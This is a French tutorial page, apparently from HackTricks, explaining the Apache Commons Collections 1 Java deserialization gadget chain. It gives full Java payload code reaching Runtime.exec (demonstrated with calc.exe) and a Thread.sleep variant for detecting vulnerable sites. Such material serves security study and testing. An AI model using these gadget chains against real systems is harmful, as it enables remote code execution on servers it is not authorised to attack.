CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Transformateurs Java vers Rutime exec()

À plusieurs endroits, vous pouvez trouver une charge utile de désérialisation Java qui utilise des transformateurs d'Apache common collections comme celle-ci :

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Si vous ne connaissez rien aux charges utiles de désérialisation Java, il pourrait être difficile de comprendre pourquoi ce code exécutera une calculatrice.

Tout d'abord, vous devez savoir qu'un Transformateur en Java est quelque chose qui reçoit une classe et la transforme en une autre. Il est également intéressant de savoir que la charge utile qui est exécutée ici est équivalente à:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Ou plus précisément, ce qui sera exécuté à la fin serait :

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Comment

Alors, comment le premier payload présenté est-il équivalent à ces "simples" commandes d'une seule ligne?

Tout d'abord, vous pouvez remarquer dans le payload qu'une chaîne (tableau) de transformations est créée:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Si vous lisez le code, vous remarquerez que si vous parvenez à enchaîner la transformation du tableau, vous pourriez être en mesure d'exécuter des commandes arbitraires.

Alors, comment ces transformations sont-elles enchaînées ?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Dans la dernière section de la charge utile, vous pouvez voir qu'un objet Map est créé. Ensuite, la fonction decorate est exécutée à partir de LazyMap avec l'objet map et les transformateurs enchaînés. À partir du code suivant, vous pouvez voir que cela va provoquer la copie des transformateurs enchaînés à l'intérieur de l'attribut lazyMap.factory:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

Et puis le grand final est exécuté : lazyMap.get("anything");

Voici le code de la fonction get :

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

Et voici le code de la fonction transform

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Donc, rappelez-vous qu'à l'intérieur de l'usine nous avions enregistré chainedTransformer et à l'intérieur de la fonction transform nous parcourons tous ces transformateurs enchaînés et les exécutons un par un. La chose amusante, c'est que chaque transformateur utilise object comme entrée et l'objet est la sortie du dernier transformateur exécuté. Par conséquent, tous les transformations sont enchaînées en exécutant la charge utile malveillante.

Résumé

À la fin, en raison de la manière dont lazyMap gère les transformateurs enchaînés à l'intérieur de la méthode get, c'est comme si nous exécutions le code suivant:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Remarquez comment value est l'entrée de chaque transformation et la sortie de la transformation précédente, permettant l'exécution d'une seule ligne :

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Notez qu'ici il a été expliqué les gadgets utilisés pour la charge utile ComonsCollections1. Mais il reste à expliquer comment tout cela commence son exécution. Vous pouvez voir ici que ysoserial, afin d'exécuter cette charge utile, utilise un objet AnnotationInvocationHandler car lorsque cet objet est désérialisé, il invoquera la fonction payload.get() qui exécutera toute la charge utile.

Java Thread Sleep

Cette charge utile pourrait être utile pour identifier si le site web est vulnérable car elle exécutera une pause si c'est le cas.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Plus de Gadgets

Vous pouvez trouver plus de gadgets ici: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

Dernière mise à jour